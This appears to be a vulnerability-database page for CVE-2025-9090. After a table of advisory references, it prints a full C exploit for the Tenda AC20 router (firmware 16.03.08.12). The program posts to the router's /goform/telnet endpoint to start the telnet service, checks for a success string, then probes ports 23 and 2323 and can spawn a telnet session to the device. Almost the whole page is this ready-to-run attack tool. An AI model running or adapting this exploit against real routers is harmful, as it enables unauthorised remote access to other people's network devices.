| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for Command Injection in Tenda Ac20_Firmware | 17 Aug 202519:22 | – | githubexploit | |
| CVE-2025-9090 | 18 Aug 202503:00 | – | circl | |
| Tenda AC20 注入漏洞 | 17 Aug 202500:00 | – | cnnvd | |
| Tenda AC20 Command Injection Vulnerability | 20 Aug 202500:00 | – | cnvd | |
| CVE-2025-9090 | 17 Aug 202502:02 | – | cve | |
| CVE-2025-9090 Tenda AC20 Telnet Service telnet websFormDefine command injection | 17 Aug 202502:02 | – | cvelist | |
| EUVD-2025-25139 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-9090 | 17 Aug 202503:15 | – | nvd | |
| CVE-2025-9090 | 17 Aug 202503:15 | – | osv | |
| Tenda AC20 16.03.08.12 Command Injection | 18 Aug 202500:00 | – | packetstormnews |
/*
* Exploit Title : Tenda AC20 16.03.08.12 - Command Injection
* Author : Byte Reaper
* CVE : CVE-2025-9090
* Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service.
* target endpoint : /goform/telnet
* place in service : http://<IP>
* full format target url : http://<IP>/goform/telnet
* Exploitation plan:
* 1. Build full URL
* 2. Prepare POST data (Sleep + full url + libcurl function)
* 3. Send POST request via CURL
* 4. Measure response: HTTP code, telnet access (23), error word (not found)
* 5. Determine success & finalize exploit
*/
#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <errno.h>
#define MAX_RESPONSE (50 * 1024 * 1024)
#define URL 2400
#define BUFFER 4500
const char *ipT = NULL;
const char *cookies = NULL;
int loopF = 0;
int verbose = 0;
int fileCookies = 0;
void exit64bit()
{
fflush(NULL);
__asm__ volatile
(
"syscall\n\t"
:
: "A"(0x3C),
"D"(0)
: "rcx",
"r11",
"memory"
);
fflush(NULL);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
if (!userdata)
{
return 0;
}
if (size && nmemb > SIZE_MAX / size)
{
fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n");
return 0;
}
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE)
{
fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n");
return 0;
}
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exit64bit();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
return 0;
}
return 0;
}
void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l)
{
printf("\e[0;33m[+] Clean Headers...\e[0m\n");
if (h != NULL)
{
curl_slist_free_all(h);
}
if (c != NULL)
{
curl_easy_cleanup(c);
}
printf("\e[0;33m[+] Clean CURL...\e[0m\n");
if (r != NULL)
{
free(r);
r = NULL;
l = 0;
}
printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n");
printf("\e[0;31m[+] Exit ....\n");
}
int sleepSocket()
{
static int current = 2;
int timeout = current;
printf("\e[0;34m[+] Timeout Socket : %d\n", timeout);
current++;
if (current > 6)
{
current = 2;
}
return timeout;
}
int connectionTelnet(const char *ip)
{
int ports[] =
{
23,
2323
};
int num_ports = sizeof(ports) / sizeof(ports[0]);
for (int i = 0; i < num_ports; i++)
{
printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]);
printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]);
int s;
char buffer[BUFFER];
struct sockaddr_in server;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("\e[0;31m[-] Error Create Socket !\e[0m\n");
return -1;
}
server.sin_addr.s_addr = inet_addr(ip);
server.sin_family = AF_INET;
server.sin_port = htons(ports[i]);
struct timeval timeout;
int value3 = sleepSocket();
timeout.tv_sec = value3;
timeout.tv_usec = 0;
if (setsockopt(s,
SOL_SOCKET,
SO_RCVTIMEO,
(const char*)&timeout,
sizeof(timeout)) < 0)
{
perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n");
exit64bit();
}
printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n");
if (connect(s,
(struct sockaddr *)&server,
sizeof(server)) < 0)
{
perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n");
close(s);
continue;
}
printf("[+] Connection Success in server.\e[0m\n");
char banner[256];
int n = recv(s,
banner,
sizeof(banner)-1,
0);
if (n > 0)
{
banner[n] = '\0';
printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner);
}
close(s);
if (verbose)
{
printf("\e[0;33m[+] Close Socket...\e[0m\n");
}
return ports[i];
}
return -1;
}
int systemCommand(const char *ip)
{
pid_t pid;
printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid());
pid = fork();
if (pid < 0)
{
fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n");
return 1;
}
else if (pid == 0)
{
int access[] = {23, 2323, 80};
int numberAccess = sizeof(access) / sizeof(access[0]);
for (int a = 0; a < numberAccess ; a++)
{
printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid());
printf("\e[0;34m[+] sys_execve syscall...\e[0m\n");
char ipS[90];
int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip);
if (checkLen(lenIp,ipS,sizeof(ipS)) == 1)
{
printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n",
lenIp);
exit64bit();
}
char portsA[40];
int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]);
if (checkLen(lenA,portsA,sizeof(portsA)) == 1)
{
printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n",
lenA);
exit64bit();
}
const char *c = "/usr/bin/telnet";
char *const argv[] =
{
"telnet",
ipS,
portsA,
NULL
};
const char *envp[] = {NULL};
__asm__ volatile
(
"mov $59, %%rax\n\t"
"mov %[command], %%rdi\n\t"
"mov %[v], %%rsi\n\t"
"mov %[e], %%rdx\n\t"
"syscall\n\t"
:
: [command] "r"(c),
[v] "r"(argv),
[e] "r" (envp)
:"rax",
"rdi",
"rsi" ,
"rdx"
);
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
}
else
{
waitpid(pid,
NULL,
0);
printf("\e[0;36m[+] Child process finished.\e[0m\n");
}
return 0;
}
void endPoint(const char *ip)
{
CURL *curl = curl_easy_init();
struct Mem response ;
response.buffer = NULL;
response.len = 0;
struct curl_slist *headers = NULL;
if (response.buffer == NULL && response.len == 0)
{
if (verbose)
{
printf("\e[0;35m==============================\e[0m\n");
printf("\e[0;34m[+] Clean Response...\e[0m\n");
printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n");
printf("\e[0;34m[+] Response len is 0.\e[0m\n");
printf("\e[0;34m[+] Clean Success.\e[0m\n");
printf("\e[0;35m==============================\e[0m\n");
}
}
else if (response.buffer != NULL && response.len != 0)
{
if (verbose)
{
printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n");
printf("\e[0;31m[-] Clean Failed.\e[0m\n");
}
}
if (!curl)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
exit64bit();
}
CURLcode code;
if (curl)
{
char full[URL];
int len = snprintf(full, URL, "http://%s/goform/telnet",ip);
if (checkLen(len,full,URL) == 1)
{
printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
printf("\e[0;34m[+] Write Success IP in FULL url.\n");
printf("\e[0;32m[+] Len Full url : %d\n", len);
printf("\e[0;37m[+] Target IP Address : %s\n", ip);
printf("\e[0;37m[+] FULL URL : %s\n", full);
if (verbose)
{
printf("\e[0;37m[+] Check Range IP ...\n");
}
struct in_addr inaddr;
if (inet_aton(ip, &inaddr))
{
printf("\e[0;36m[+] The address '%s' is valid.\n", ip);
}
else
{
printf("\e[0;31m[-] The address '%s' Not valid.\n", ip);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
curl_easy_setopt(curl,
CURLOPT_URL,
full);
if (fileCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
uint64_t raxValue;
raxValue = 0xE6;
if (verbose)
{
if (raxValue == 0xE6)
{
printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue);
}
else
{
printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
}
struct timespec rqtp, rmtp;
rqtp.tv_sec = 1;
rqtp.tv_nsec = 500000000;
register long reg_r10 asm("r10");
reg_r10 = 0;
printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
rqtp.tv_sec, rqtp.tv_nsec);
int ret;
__asm__ volatile
(
"syscall"
: "=a"(ret)
: "a"(raxValue),
"D"((long)0),
"S"((long)0),
"d"(&rqtp),
"r"(reg_r10)
: "rcx", "r11", "memory"
);
printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret);
if (ret == -1)
{
if (errno == EINTR)
{
printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n",
rqtp.tv_sec,
rqtp.tv_nsec);
}
else
{
perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n");
}
}
else
{
printf("\e[0;34m[+] SLeep Success.\e[0m\n");
}
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
headers = curl_slist_append(headers,
"Accept: text/html");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "");
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
code = curl_easy_perform(curl);
long http_code = 0;
if (code == CURLE_OK)
{
printf("\e[0;36m[+] Request sent successfully.\e[0m\n");
if (verbose)
{
printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m=======================================================================================================================================\e[0m\n");
}
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&http_code);
printf("\e[0;32m[+] Http Code : %ld\e[0m\n",
http_code);
if (http_code >= 200 && http_code < 300)
{
printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n");
printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m===============================================================================================================================================\e[0m\n");
printf("\e[0;35m[+] Check response server...\e[0m\n");
if (response.buffer)
{
if (strstr(response.buffer, "load telnetd success") != NULL)
{
printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n");
printf("\e[0;36m[+] Injected successfully.\e[0m\n");
}
}
printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n");
printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23);
int value = connectionTelnet(ip);
printf("\e[0;35m[+] Result Connection : =============================\e[0m\n");
int useCommand = 0;
if (value == -1)
{
printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n");
printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80);
useCommand++;
goto command;
}
else if (value != -1)
{
printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value);
printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n");
}
command:
if (useCommand != 0)
{
int value2 = systemCommand(ip);
if (value2 == 1)
{
printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n");
}
else if (value2 == 0)
{
printf("\e[0;34m [+] Run command Success.\e[0m\n");
}
}
printf("\e[0;35m=====================================================\e[0m\n");
}
else
{
printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n");
printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n");
if (response.buffer)
{
response.buffer[response.len] = '\0';
if (strstr(response.buffer, "Not found") != NULL ||
strstr(response.buffer, "was not found on this server") != NULL)
{
printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n");
printf("\e[0;31m[-] Not found endpoint !\e[0m\n");
printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n");
}
}
else
{
printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n");
}
}
}
else
{
fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code));
exit64bit();
}
}
}
int main(int argc, const char **argv)
{
printf(
"\e[1;31m"
" ▄████▄ ██▒ █▓▓█████ \n"
" ▒██▀ ▀█▓██░ █▒▓█ ▀ \n"
" ▒▓█ ▄▓██ █▒░▒███ \n"
" ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n"
" ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n"
" ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n"
" ░ ▒ ░ ░░ ░ ░ ░ \n"
" ░ ░░ ░ \n"
" ░ ░ ░ ░ ░ \n"
" ░ ░ \n"
"\t \e[1;31m [ Byte Reaper ] \e[0m\n"
);
printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&ipT,
"Enter Target IP"),
OPT_STRING('c',
"cookies",
&cookies,
"Enter File cookies"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_INTEGER('f',
"loop",
&loopF,
"Number request (-f 4 = 4 request)"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (ipT == NULL)
{
printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n");
printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n");
exit64bit();
}
if (cookies != NULL)
{
fileCookies = 1;
}
if (verbose)
{
verbose = 1;
}
if (loopF != 0)
{
printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF);
for (int n = 0; n <= loopF; n++)
{
printf("\e[1;35m[+] Another request: =============================================\e[0m\n");
endPoint(ipT);
}
}
endPoint(ipT);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation